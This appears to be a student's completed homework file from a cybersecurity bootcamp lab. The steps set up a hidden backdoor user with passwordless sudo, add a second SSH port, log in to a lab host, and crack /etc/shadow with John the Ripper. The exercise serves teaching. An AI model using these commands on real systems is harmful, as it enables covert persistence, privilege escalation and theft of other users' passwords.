## Week 6 Homework Submission File: Advanced Bash - Owning the System

Please edit this file by adding the solution commands on the line below the prompt.

Save and submit the completed file for your homework submission.

**Step 1: Shadow People**

1. Create a secret user named sysd. Make sure this user doesn’t have a home folder created:
   * useradd -r -u 401 sysd
2. Give your secret user a password:

* passwd sysd  
  ImAHax0r!

1. Give your secret user a system UID < 1000:
   * useradd -r -u 401 sysd
2. Give your secret user the same GID:
   * useradd -r -u 401 sysd
3. Give your secret user full sudo access without the need for a password:
   * echo "sysd ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers
4. Test that sudo access works without your password:

* sudo -l  
  Matching Defaults entries for sysd on scavenger-hunt:  
  env\_reset, mail\_badpass, secure\_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin  
    
  User sysd may run the following commands on scavenger-hunt:  
  (ALL) NOPASSWD: ALL

**Step 2: Smooth Sailing**

1. Edit the sshd\_config file:

* Port 2222  
  AddressFamily any  
  ListenAddress 0.0.0.0  
  ListenAddress ::  
    
  Port 22  
  AddressFamily any  
  ListenAddress 0.0.0.0  
  ListenAddress ::

**Step 3: Testing Your Configuration Update** 1. Restart the SSH service:

- `$ sudo systemctl restart ssh`

1. Exit the root account:
   * ~.
2. SSH to the target machine using your sysd account and port 2222:re
   * ssh sysd@192.168.6.105 -p 2222
3. Use sudo to switch to the root user:
   * sudo -s

**Step 4: Crack All the Passwords**

1. SSH back to the system using your sysd account and port 2222:
   * ssh sysd@192.168.6.105 -p 2222
2. Escalate your privileges to the root user. Use John to crack the entire /etc/shadow file:
   * john /etc/shadow

© 2020 Trilogy Education Services, a 2U, Inc. brand. All Rights Reserved.